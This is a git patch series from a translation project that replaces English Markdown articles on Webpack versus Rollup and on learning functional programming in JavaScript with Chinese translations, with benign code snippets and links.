Subject: [PATCH 089/638] Webpack and Rollup: the same but different

---
 ...bpack-and-rollup-the-same-but-different.md | 50 +++++++++----------
 1 file changed, 25 insertions(+), 25 deletions(-)

diff --git a/TODO/webpack-and-rollup-the-same-but-different.md b/TODO/webpack-and-rollup-the-same-but-different.md
index 7bc3f470f12..4e286f35689 100644
--- a/TODO/webpack-and-rollup-the-same-but-different.md
+++ b/TODO/webpack-and-rollup-the-same-but-different.md
@@ -1,57 +1,57 @@
 > * 原文地址：[Webpack and Rollup: the same but different](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c)
 > * 原文作者：[Rich Harris](https://medium.com/@Rich_Harris?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-# Webpack and Rollup: the same but different #
+# 同中有异的 Webpack 与 Rollup #
 
 ![](https://cdn-images-1.medium.com/max/1000/1*rtjClMZ8sq3cLFT9Aq8Xyg.png)
 
-This week, Facebook merged a [monster pull request](https://github.com/facebook/react/pull/9327) into React that replaced its existing build process with one based on [Rollup](https://rollupjs.org/) , [prompting](https://twitter.com/stanlemon/status/849366789825994752) [several](https://twitter.com/MrMohtas/status/849362334988595201) [people](https://twitter.com/kyleholzinger/status/849683292760797184) to ask ‘why did you choose Rollup over webpack’?
+本周，Facebook 将一个[非常大的 pull request](https://github.com/facebook/react/pull/9327) 合并到了 React 主分支。这个 PR 将 React 以前使用的构建工具替换成了 [Rollup](https://rollupjs.org/)。这让许多人感到不解，纷纷在推特上提问：“为什么你们选择 Rollup 而不选择 Webpack 呢？”<sub>[1](https://twitter.com/stanlemon/status/849366789825994752)</sub> <sub>[2](https://twitter.com/MrMohtas/status/849362334988595201)</sub> <sub>[3](https://twitter.com/kyleholzinger/status/849683292760797184)</sub>
 
-Which is a completely reasonable question. [Webpack](https://webpack.js.org/)  is one of the modern JavaScript community’s greatest success stories, with millions of downloads every month powering tens of thousands of websites and applications. It has a large ecosystem, dozens of contributors, and — unusually for a community open source project — [meaningful financial support](https://opencollective.com/webpack) .
+有人问这个问题是很正常的。[Webpack](https://webpack.js.org/) 是现在 JavaScript 社区中最伟大的成功传奇之一，它有着数百万/月的下载量，驱动了成千上万的网站与应用。它有着巨大的生态系统、众多的贡献者，并且它与一般的社区开源项目不同——它有着[意义非凡的经济支持](https://opencollective.com/webpack)。
 
-By comparison, Rollup is a minnow. But React isn’t alone — Vue, Ember, Preact, D3, Three.js, Moment, and dozens of other well-known libraries also use Rollup. So what’s going on? Why can’t we have just one JavaScript module bundler that everyone agrees on?
+相比之下，Rollup 是那么的微不足道。但是，除了 React 之外，Vue、Ember、Preact、D3、Three.js、Moment 等众多知名项目都使用了 Rollup。为什么会这样呢？为什么这些项目不使用大家一致认可的 JavaScript 模块打包工具呢？
 
-### A tale of two bundlers ###
+### 这两个打包工具的优缺点 ###
 
-webpack was started in 2012 by [Tobias Koppers](https://medium.com/@sokra) to solve a hard problem that existing tools didn’t address: building complex single-page applications (SPAs). Two features in particular changed everything:
+Webpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建，用于解决当时的工具不能处理的问题：构建复杂的单页应用（SPA）。它的两个特点改变了一切：
 
-1. **Code-splitting** makes it possible to break your app apart into manageable chunks that can be loaded on-demand, meaning your users get an interactive site much faster than if they had to wait for the whole application to download and parse. You *can* do this manually, but, well… good luck.
-2. **Static assets** such as images and CSS can be imported into your app and treated as just another node in the dependency graph. No more carefully placing your files in the right folders and hacked-together scripts for adding hashes to file URLs — webpack can take care of it for you.
+1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的网站可以比那些没有使用此技术的网站要快上很多。因为访问那些网站必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。
+2. **静态资源**的导入：图片、CSS 等静态资源可以直接导入到你的 app 中，就和其它的模块、节点一样能够进行依赖管理。因此，我们再也不用小心翼翼地将各个静态文件放在特定的文件夹中，然后再去用脚本给文件 URL 加上哈希串了。Webpack 已经帮你完成了这一切。
 
-Rollup was created for a different reason: to build flat distributables of JavaScript libraries as efficiently as possible, taking advantage of the ingenious design of ES2015 modules. Other module bundlers — webpack included — work by wrapping each module in a function, putting them in a bundle with a browser-friendly implementation of `require`, and evaluating them one-by-one. That’s great if you need things like on-demand loading, but otherwise it’s a bit of a waste, and it [gets worse if you have lots of modules](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/).
+而 Rollup 的开发理念则不同：它利用 ES2015 模块的巧妙设计，尽可能高效地构建精简且易分发的 JavaScript 库。而其它的模块打包器（包括 Webpack在内）都是通过将模块分别封装进函数中，然将这些函数通过能在浏览器中实现的 `require` 方法打包，最后依次处理这些函数。在你需要实现按需加载的时候，这种做法非常的方便，但是这样做引入了很多无关代码，比较浪费资源。当[你有很多模块要打包的时候，这种情况会变得更糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。
 
-ES2015 modules enable a different approach, which Rollup uses. All your code is put in the same place and evaluates in one go, resulting in leaner, simpler code that starts up faster. You can [see it for yourself with the Rollup REPL](https://rollupjs.org/repl).
+ES2015 模块则启用了一种不同的实现方法，Rollup 用的也就是这种方法。所有代码都将被放置在同一个地方，并且会在一起进行处理。因此得到的最终代码相较而言会更加的精简，运行起来自然也就更快。你可以[点击这儿亲自试试 Rollup 交互式解释器（REPL）](https://rollupjs.org/repl)。
 
-But there’s a trade-off: code-splitting is a much hairier problem, and at the time of writing Rollup doesn’t support it. Similarly, Rollup doesn’t do hot module replacement (HMR). And perhaps the biggest pain point for people coming to Rollup — while it handles most CommonJS files (via a [plugin](https://github.com/rollup/rollup-plugin-commonjs) ), some things just don’t translate to ES2015, whereas webpack handles everything you throw at it with aplomb.
+但这儿也存在一些需要权衡的点：代码分割是一个很棘手的问题，而 Rollup 并不能做到这一点。同样的，Rollup 也不支持模块热替换（HMR）。而且对于打算使用 Rollup 的人来说，还有一个最大的痛点：它通过[插件](https://github.com/rollup/rollup-plugin-commonjs)处理大多数 CommonJS 文件的时候，一些代码将无法被翻译回 ES2015。而与之相反，你可以把这一切的事全部放心交给 Webpack 去处理。
 
-### So which should I use? ###
+### 那么我到底应该选用哪一个呢？ ###
 
-By now, hopefully it’s clear why both tools coexist and support each other — they serve different purposes. The tl;dr is this:
+回答这个问题之前，我们已经了解了这两个工具各自的优缺点，它们同时存在并相互支持的原因正是因为它们解决的问题不同。那么，现在这个问题的答案简单来说就是：
 
-> Use webpack for apps, and Rollup for libraries
+> 在开发应用时使用 Webpack，开发库时使用 Rollup
 
-That’s not a hard and fast rule — lots of sites and apps are built with Rollup, and lots of libraries are built with webpack. But it’s a good rule of thumb.
+当然这不是什么严格的规定——有很多的网站和 app 一样是使用 Rollup 构建的，同时也有很多的库使用 Webpack。不过，这是个很值得参考的经验之谈。
 
-If you need code-splitting, or you have lots of static assets, or you’re building something with lots of CommonJS dependencies, Webpack is a better choice. If your codebase is ES2015 modules and you’re making something to be used by other people, you probably want Rollup.
+如果你需要进行代码分割，或者你有很多的静态资源，再或者你做的东西深度依赖 CommonJS，毫无疑问 Webpack 是你的最佳选择。如果你的代码基于 ES2015 模块编写，并且你做的东西是准备给他人使用的，你应该更适合用 Rollup。
 
-### Package authors: use `pkg.module!` ###
+### 对于包作者的建议：请使用 `pkg.module`！ ###
 
-For a long time, using JavaScript libraries was a bit of a crapshoot, because you and the library author effectively had to agree on a module system. If you were using Browserify but she preferred AMD, you would have to duct tape things together before you could actually build anything. The [Universal Module Definition](https://github.com/umdjs/umd)  (UMD) format *sort of* fixed that, but because it wasn’t enforced anywhere you never knew quite what you were going to get.
+在很长一段时间里，使用 JavaScript 库是一件相当有风险的事，因为这意味着你必须和库的作者在模块系统上的意见保持一致。如果你使用 Browserify 而他更喜欢 AMD，你就不得不在 build 之前先强行将两者粘起来。[通用模块定义（UMD）](https://github.com/umdjs/umd)格式对这个问题进行了 *部分* 的修复，但是它没有强制要求所有的人都用它，最后反而会让你更加不知所措。
 
-ES2015 changes all that, because `import` and `export` are part of the language. In the future, there’ll be no ambiguity, and things will work a lot more seamlessly. Unfortunately, because browsers (mostly) and Node don’t yet support `import` and `export`, we still need to ship UMD files (or CommonJS, if you’re building something Node-only).
+ES2015 改变了这一切，因为 `import` 与 `export` 就是语言规范本身的一部分。在未来，不再会有现在这种模棱两可的情况，所有东西都将更加无缝地配合工作。不幸的是，由于大多数浏览器和 Node 还不支持 `import` 和 `export`，我们仍然需要依靠 UMD 规范（如果你只写 Node 的话也可以用 CommonJS）。
 
-By adding a `"module": "dist/my-library.es.js"` entry to your library’s package.json file (aka `pkg.module`), it’s possible to serve UMD and ES2015 at the same time, right now. **That’s important because Webpack and Rollup can both use** `pkg.module` **to generate the most efficient code possible** — in some cases, they can even both [tree-shake](https://webpack.js.org/guides/tree-shaking/) unused parts of your library away.
+现在给你的库的 package.json 文件增加一个 `"module": "dist/my-library.es.js"` 入口，可以让你的库同时支持 UMD 与 ES2015。**这很重要，因为 Webpack 和 Rollup 都使用了 ** `pkg.module` ** 来尽可能的生成效率更高的代码**——在一些情况下，它们都能使用 [tree-shake](https://webpack.js.org/guides/tree-shaking/) 来精简掉你的库中未使用的部分。
 
-*Learn more about`pkg.module` on the [*Rollup wiki*](https://github.com/rollup/rollup/wiki/pkg.module) .*
+*了解更多有关 `pkg.module` 的内容请访问 [Rollup wiki](https://github.com/rollup/rollup/wiki/pkg.module) 。*
 
-Hopefully this article makes the relationship between the two projects a bit clearer. If you still have questions, find us on Twitter at [rich_harris](https://twitter.com/rich_harris)/[rollupjs](https://twitter.com/rollupjs)  and [thelarkinn](https://twitter.com/thelarkinn) . Happy bundling!
+希望这篇文章能让你理清这两个开源项目之间的关系。如果你还有问题，可以在推特联系[rich_harris](https://twitter.com/rich_harris)、[rollupjs](https://twitter.com/rollupjs)、[thelarkinn](https://twitter.com/thelarkinn)。祝你打包快乐！
 
-Our thanks to Rich Harris for writing this article. We believe that collaboration in open source is incredibly vital to ensure we push technology and the web forward together.
+感谢 Rich Harris 写了这篇文章。我们坚信开源协作是共同促进 web 技术前进的重要动力。
 
-No time to help contribute? Want to give back in other ways? Become a Backer or Sponsor to webpack by [donating to our open collective](https://opencollective.com/webpack). Open Collective not only helps support the Core Team, but also supports contributors who have spent significant time improving our organization on their free time! ❤
+没有时间为开源项目做贡献？想要以其它方式回馈吗？欢迎通过 [Open Collective 进行捐赠](https://opencollective.com/webpack)，成为 Webpack 的支持者或赞助商。Open Collective 不仅会资助核心团队，而且还会资助那些贡献出空闲时间帮助我们改进项目的贡献者们。
 
 ---
 

From 117db55d80428317dd5efa2f50cb612546f5a361 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sun, 9 Apr 2017 18:05:38 +0800
Subject: [PATCH 090/638] =?UTF-8?q?=E4=B8=BA=E4=BB=80=E4=B9=88=E7=94=A8=20?=
 =?UTF-8?q?JavaScript=20=E5=AD=A6=E4=B9=A0=E5=87=BD=E6=95=B0=E5=BC=8F?=
 =?UTF-8?q?=E7=BC=96=E7=A8=8B=EF=BC=9F=EF=BC=88=E7=BB=84=E6=88=90=E5=8C=96?=
 =?UTF-8?q?=E8=BD=AF=E4=BB=B6=EF=BC=89=EF=BC=88=E7=AC=AC=E4=BA=8C=E9=83=A8?=
 =?UTF-8?q?=E5=88=86=EF=BC=89?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...amming-in-javascript-composing-software.md | 157 +++++++++---------
 1 file changed, 78 insertions(+), 79 deletions(-)

diff --git a/TODO/why-learn-functional-programming-in-javascript-composing-software.md b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
index dd82cf42a4a..3203cee2ce5 100644
--- a/TODO/why-learn-functional-programming-in-javascript-composing-software.md
+++ b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
@@ -4,152 +4,151 @@
 > * 译者：
 > * 校对者：
 
-# Why Learn Functional Programming in JavaScript? (Composing Software)
+# 为什么用 JavaScript 学习函数式编程？（组成化软件）（第二部分）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) | [Next >](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.2e4youss2)
+烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
+> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 组成软件的第一部分。保持关注，接下来还有很多！
+>  [从第一部分开始](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) | [接下来的 >](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.2e4youss2)
 
-Forget whatever you think you know about JavaScript, and approach this material with a beginner’s mind. To help you do that, we’re going to review the JavaScript basics from the ground up, as if you’ve never seen JavaScript before. If you’re a beginner, you’re in luck. Finally something exploring ES6 and functional programming from scratch! Hopefully all the new concepts are explained along the way — but don’t count on too much pampering.
+忘了你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。
 
-If you’re a seasoned developer already familiar with JavaScript, or a pure functional language, maybe you’re thinking that JavaScript is a funny choice for an exploration of functional programming. Set those thoughts aside, and try to approach the material with an open mind. You may find that there is another level to JavaScript programming. One you never knew existed.
+如果你是已经熟悉 JavaScript 或者纯函数式语言的老开发者了，也许你会认为 JavaScript 是探索函数式编程有趣的选择。把这些想法放在一边，用更开放的思想接触它，你会发现 JavaScript 编程更高层次的东西。一些你从来不知道的东西。
 
-Since this text is called “Composing Software”, and functional programming is the obvious way to compose software (using function composition, higher order functions, etc…), you may be wondering why I’m not talking about Haskell, ClojureScript, or Elm, instead of JavaScript.
+由于这个被称为“组成式软件”，同时函数式编程是明显的组成软件的方法（使用函数组合，高阶函数等等），你也许想知道为什么我不用 Haskell, ClojureScript,或者 Elm，而是 JavaScript。
 
-JavaScript has the most important features needed for functional programming:
+JavaScript 有函数式编程所需要的最重要的特性：
 
-1. **First class functions:** The ability to use functions as data values: pass functions as arguments, return functions, and assign functions to variables and object properties. This property allows for higher order functions, which enable partial application, currying, and composition.
-2. **Anonymous functions and concise lambda syntax:**`x => x * 2` is a valid function expression in JavaScript. Concise lambdas make it easier to work with higher-order functions.
-3. **Closures:** A closure is the bundling of a function with its lexical environment. Closures are created at function creation time. When a function is defined inside another function, it has access to the variable bindings in the outer function, even after the outer function exits. Closures are how partial applications get their fixed arguments. A fixed argument is an argument bound in the closure scope of a returned function. In `add2(1)(2)`, `1` is a fixed argument in the function returned by `add2(1)`.
+1. **一级函数：**使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使局部应用、柯里化和组合成为可能。
+2. **匿名函数和简介的 lambda 语法：**`x => x * 2` 是 JavaScript 中有效的函数表达式。简介的 lambda 语法使得它更好的跟高阶函数合作。
+3. **闭包：**闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。闭包时使局部应用或者固定的参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。
 
-### What JavaScript is Missing
+### JavaScript 缺少了什么
 
-JavaScript is a multi-paradigm language, meaning that it supports programming in many different styles. Other styles supported by JavaScript include procedural (imperative) programming (like C), where functions represent a subroutine of instructions that can be called repeatedly for reuse and organization, object-oriented programming, where objects — not functions — are the primary building blocks, and of course, functional programming. The disadvantage of a multi-paradigm language is that imperative and object-oriented programming tend to imply that almost everything needs to be mutable.
+JavaScript 是多范式语言，意味着它支持多种风格的编程。其他被 JavaScript 支持的风格包括过程式的（命令式）编程（比如 C），把函数看作可以被重复调用和组织的子程序指令；面向对象编程，对象 — 而不是函数 — 作为初始构造块；当然，还有函数式编程。多范式编程语言的劣性在于命令式和面向对象往往意味着所有东西都是可变的。
 
-Mutation is a change to data structure that happens in-place. For example:
+可变性指的是数据结构上的变化。比如：
+	
+	const foo = {
+	  bar: 'baz'
+	};
 
-    const foo = {
-      bar: 'baz'
-    };
+	foo.bar = 'qux'; // mutation
 
-    foo.bar = 'qux'; // mutation
+对象通常需要可变性以便于被方法更新值，在命令式的语言中，大部分的数据结构可变以便于数组和对象的高效操作。
 
-Objects usually need to be mutable so that their properties can be updated by methods. In imperative programming, most data structures are mutable to enable efficient in-place manipulation of objects and arrays.
+下面是一些函数式语言拥有但是 JavaScript 没有的特性：
 
-Here are some features that some functional languages have, that JavaScript does not have:
+1. **纯粹性：**在一些函数式语言中，纯粹性是强制的，有副作用的表达式是不被允许的。
+2. **不可变性：**一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够搞笑，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。
+3. **递归：**递归是函数引用自身来进行迭代的能力。在大多数函数式语言中，递归是迭代的唯一方式，它们没有像 `for` 、`while`、`do` 这类循环语句。
 
-1. **Purity:** In some FP languages, purity is enforced by the language. Expressions with side-effects are not allowed.
-2. **Immutability:** Some FP languages disable mutations. Instead of mutating an existing data structure, such as an array or object, expressions evaluate to new data structures. This may sound inefficient, but most functional languages use trie data structures under the hood, which feature structural sharing: meaning that the old object and new object share references to the data that is the same.
-3. **Recursion:** Recursion is the ability for a function to reference itself for the purpose of iteration. In many FP languages, recursion is the only way to iterate. There are no loop statements like `for`, `while`, or `do` loops.
+**纯粹性：**在 JavaScript 中，纯粹性由约定来达成，如果你不是使用纯函数来构成你的大多数应用，那么你就不是在进行函数式风格的编程。很不幸，在 JavaScript 中，你很容易就会不小心创建和使用一些不纯的函数。
 
-**Purity:** In JavaScript, purity must be achieved by convention. If you’re not building most of your application by composing pure functions, you’re not programming using the functional style. It’s unfortunately easy in JavaScript to get off track by accidentally creating and using impure functions.
+**不可变性：**在纯函数式语言中，可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是又一些你可以使用的库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，真是期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。
 
-**Immutability:** In pure functional languages, immutability is often enforced. JavaScript lacks efficient, immutable trie-based data structures used by most functional languages, but there are libraries that help, including [Immutable.js](https://facebook.github.io/immutable-js/) and [Mori](https://github.com/swannodette/mori). I’m hoping that future versions of the ECMAScript spec will embrace immutable data structures.
+有一些未来的迹象，比如说在 ES6 中添加了 `const` 关键字，`const` 声明的变量不能被重新赋值，知道 `const` 并不实际代表不可改变的值也很重要。
 
-There are signs that offer hope, like the addition of the `const` keyword in ES6. A name binding defined with `const` can't be reassigned to refer to a different value. It's important to understand that `const` does not represent an immutable *value.*
+`const` 声明的对象不能被重新声明为新的对象，但是对象的属性却是可变的，JavaScript 有 `freeze()` 对象的能力，但是这些对象只能在根实例上被冻结，意味着嵌套着的对象还是可以改变它的属性。换句话说，在 JavaScript 规范中看到真正的不可变还有很多路要走。
 
-A `const` object can't be reassigned to refer to a completely different object, but the object it refers to *can have its properties mutated*. JavaScript also has the ability to `freeze()` objects, but those objects are only frozen at the root level, meaning that a nested object can still have properties of its properties mutated. In other words, there's still a long road ahead before we see true composite immutables in the JavaScript specification.
+**递归：**JavaScript 支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。
 
-**Recursion:** JavaScript technically supports recursion, but most functional languages have a feature called tail call optimization. Tail call optimization is a feature which allows recursive functions to reuse stack frames for recursive calls.
+没有尾部调用优化，一个调用的栈很可能没有边界导致堆栈溢出。JavaScript 在 ES6 规范中有一个有限的尾部调用优化。不幸的是，只有一个主要的浏览器引擎支持它，这个优化被部分应用随后从 Babel(最流行的 JavaScript 编译器，在旧的浏览器中被用来把 ES6 编译到 ES5)。
 
-Without tail call optimization, a call stack can grow without bounds and cause a stack overflow. JavaScript technically got a limited form of tail call optimization in the ES6 specification. Unfortunately, only one of the major browser engines implemented it, and the optimization was partially implemented and then subsequently removed from Babel (the most popular standard JavaScript compiler, used to compile ES6 to ES5 for use in older browsers).
+最后一行：现在使用递归来作为大的迭代还不是很安全 — 即使你很小心的调用尾部的函数。
 
-Bottom line: It still isn’t safe to use recursion for large iterations — even if you’re careful to call the function in the tail position.
+### 什么又是 JavaScript 所有但是纯函数式语言没有的
 
-### What JavaScript Has that Pure Functional Languages Lack
+一个纯粹主义者会告诉你 JavaScript 的可变性是它的重要缺点，这是事实。但是，引起的副作用和改变有时候很有用。事实上，不可能在规避所有副作用的情况下开发有用的现代应用。纯函数式语言比如说 Haskell 使用副作用，但是使用 monads 包来伪装纯函数，从而使程序保持纯净，尽管用 monads 所带来的副作用是不纯净的。
 
-A purist will tell you that JavaScript’s mutability is its major disadvantage, which is true. However, side effects and mutation are sometimes beneficial. In fact, it’s impossible to create most useful modern applications without side effects. Pure functional languages like Haskell use side-effects, but camouflage them from pure functions using boxes called monads, allowing the program to remain pure even though the side effects represented by the monads are impure.
+monads 的问题是，尽管它的使用很简单，但是对一个不是很熟悉它的人解释清楚它有点像对牛谈琴。
 
-The trouble with monads is that, even though their use is quite simple, explaining what a monad is to somebody unfamiliar with lots of examples is a bit like explaining what the color “blue” looks like to a blind person.
+> “monad 是 endofunctor 范畴的幺半群，有什么问题？” ～James Iry 所引用 Philip Wadler的话，解释一个 Saunders Mac Lane 说过的名言。[*“A Brief, Incomplete, and Mostly Wrong History of Programming Languages”*](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
 
-> “A monad is a monoid in the category of endofunctors, what’s the problem?” ~ James Iry, fictionally quoting Philip Wadler, paraphrasing a real quote by Saunders Mac Lane.[*“A Brief, Incomplete, and Mostly Wrong History of Programming Languages”*](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
+典型的，这是在调侃这有趣的一点。在上面的引用中，关于 monads 的解释相比最初的有了很大的简化，原来是下面这样：
 
-Typically, parody exaggerates things to make a funny point funnier. In the quote above, the explanation of monads is actually *simplified* from the original quote, which goes like this:
+> “`X` 中的 monad 是其 endofunctor 范畴的幺半群，生成 endofunctor 和被 endofunctor 单位 set 组合所代替的 `X` ” ~ Saunders Mac Lane。 [*"Categories for the Working Mathematician"*](https://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038//ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=de6f23899da4b5892f562413173be4f0)
 
-> “A monad in `X` is just a monoid in the category of endofunctors of `X`, with product `×` replaced by composition of endofunctors and unit set by the identity endofunctor." ~ Saunders Mac Lane. [*"Categories for the Working Mathematician"*](https://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038//ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=de6f23899da4b5892f562413173be4f0)
+尽管这样，在我的观点看来，害怕 monads 是没有必要的，学习 monads 最好的方法不是去读关于它的一堆书和博客，而是立刻去使用它。对于大部分的函数式编程语言来说，晦涩的学术词汇比它实际概念难的多，相信我，你不必通过了解 Saunders Mac Lane 来了解函数式编程。
 
-Even so, in my opinion, fear of monads is weak reasoning. The best way to learn monads is not to read a bunch of books and blog posts on the subject, but to jump in and start using them. As with most things in functional programming, the impenetrable academic vocabulary is much harder to understand than the concepts. Trust me, you don’t have to understand Saunders Mac Lane to understand functional programming.
+尽管它不是对所有的编程风格都完全的理想，JavaScript 无疑是作为适应各种编程风格和背景的人的通用编程语言被设计出来的。
 
-While it may not be absolutely ideal for every programmming style, JavaScript is unapologetically a general-purpose language designed to be usable by various people with various programming styles and backgrounds.
+根据 [Brendan Eric](https://brendaneich.com/2008/04/popularity/) 所言，在一开始的时候，网景公司就有意适应两类开发者：
 
-[According to Brendan Eich](https://brendaneich.com/2008/04/popularity/), this was intentional from the beginning. Netscape had to support two kinds of programmers:
+> “...写组件的，比如说 C++ 或者 Java；写脚本的、业余的和爱好者，比如直接写嵌在 HTML 里的代码的。”
 
-> *“…the component authors, who wrote in C++ or (we hoped) Java; and the ‘scripters’, amateur or pro, who would write code directly embedded in HTML.”*
+最初，网景公司的意向是支持两种不同的语言，同时脚本语言大致要像 Scheme (一个 Lisp 的方言)，而且，Brendan Eich：
 
-Originally, the intent was that Netscape would support two different languages, and the scripting language would probably resemble Scheme (a dialect of Lisp). Again, Brendan Eich:
+> “我被招聘到网景公司，目的是在浏览器中 **做一些 Scheme**”。
 
-> *“I was recruited to Netscape with the promise of ‘doing Scheme’ in the browser.”*
+JavaScript 应当是一门新的语言：
 
-JavaScript had to be a new language:
+> “上面工程管理的命令是这门语言**应当像 Java**，这就排除了 Perl，Python，和 Tcl，以及 Scheme。”
 
-> *“The *diktat* from upper engineering management was that the language must ‘look like Java’. That ruled out Perl, Python, and Tcl, along with Scheme.”*
+所以，Brendan Eich 最初脑子里的想法是：
 
-So, the ideas in Brendan Eich’s head from the beginning were:
+1. 浏览器中的 Scheme。
+2. 看起来像 Java。
 
-1. Scheme in the browser.
-2. Look like Java.
+最终的结果稍微有点复杂：
 
-It ended up being even more of a mish-mash:
+>“我不骄傲，但我很高兴我选择了 Scheme 的一类函数和 Self（尽管奇怪）的原型作为主要的元素。”由于 Java 的影响，特别是 y2k 的 Date 问题以及对象的区别（比如string 和 String），就不幸了。”
 
-> *“I’m not proud, but I’m happy that I chose Scheme-ish first-class functions and Self-ish (albeit singular) prototypes as the main ingredients. The Java influences, especially y2k Date bugs but also the primitive vs. object distinction (e.g., string vs. String), were unfortunate.”*
+我列出了这些 “不好的” 的类 Java 特性，最后转换成 JavaScript:
 
-I’d add to the list of “unfortunate” Java-like features that eventually made their way into JavaScript:
+* 构造函数和 `new` 关键子，跟工厂函数有着不同的调用和使用语义。
+* `class` 的关键字和单一父类 `extends` 作为最初的继承机制。
+* 用户更习惯于把 `class` 看作是它的静态类型（实际并非如此）。
 
-- Constructor functions and the `new` keyword, with different calling and usage semantics from factory functions.
-- A `class` keyword with single-ancestor `extends` as the primary inheritance mechanism.
-- The user’s tendency to think of a `class` as if it's a static type (it's not).
+我的意见：永远避免使用这些东西。
 
-My advice: Avoid those whenever you can.
+很幸运 JavaScript 成为了这样厉害的语言，因为事实上证明脚本的方式赢了那些建立在“组件”上的方式（现在，Java、Flash、和 ActiveX 扩展已经不被大部分安装的浏览器支持）。
 
-We’re lucky that JavaScript ended up being such a capable language, because it turns out that the scripting approach won over the “component” approach (today, Java, Flash, and ActiveX extensions are unsupported in huge numbers of installed browsers).
+我们最终创作了一个直接被浏览器支持的语言：JavaScript。
 
-What we eventually ended up with was one language directly supported by the browser: JavaScript.
+那意味着浏览器可以减少臃肿和问题，因为它们现在只需要支持一种语言：JavaScript。你也许认为 WebAssembly 是异常，但是 WebAssembly 设计之初的目的是使用兼容的抽象语法树来共享JavaScript的语言绑定（AST）。事实上，最早的把 WebAssembly 编译成 JavaScript 的子集的示范是 ASM.js。
 
-That means that browsers are less bloated and less buggy, because they only need to support a single set of language bindings: JavaScript’s. You might be thinking that WebAssembly is an exception, but one of the design goals of WebAssembly is to share JavaScript’s language bindings using a compatible Abstract Syntax Tree (AST). In fact, the first demonstrations compiled WebAssembly to a subset of JavaScript known as ASM.js.
+作为 web 平台唯一的通用标准编程语言，JavaScript 在软件历史潮流中乘风直上：
 
-The position as the only standard general purpose programming language for the web platform allowed JavaScript to ride the biggest language popularity wave in the history of software:
+App 吞食世界， web 吞食 app， 同时 JavaScript 吞食 web。
 
-Apps ate the world, the web ate apps, and JavaScript ate the web.
+根据[各方](http://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/)[调查](http://stackoverflow.com/research/developer-survey-2016)，[JavaScript](https://octoverse.github.com/)是目前世界上最流行的语言。
 
-By [multiple](http://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/)[measures](http://stackoverflow.com/research/developer-survey-2016), [JavaScript](https://octoverse.github.com/) is now the most popular programming language in the world.
+JavaScript 并不是函数式编程的理想化工具，但是它却是为大型的分布式的团队开发大型应用的好工具，因为不同的团队也许有不同建立应用的想法。
 
-JavaScript is not the ideal tool for functional programming, but it’s a great tool for building large applications on very large, distributed teams, where different teams may have different ideas about how to build an application.
+一些团队致力于脚本化，那么命令式的编程就特别有用，另外一些更精于抽象架构，那么一点保留的面向对象方法也许不失为坏。还有一些拥抱函数式编程，使用纯函数来确保稳定性、可测试性和项目状态管理以便减少用户的反馈。团队里的这些人可以使用相同的语言，意味着他们可以更好的交换想法，互相学习和在其他人的基础上更进一步的开发。
 
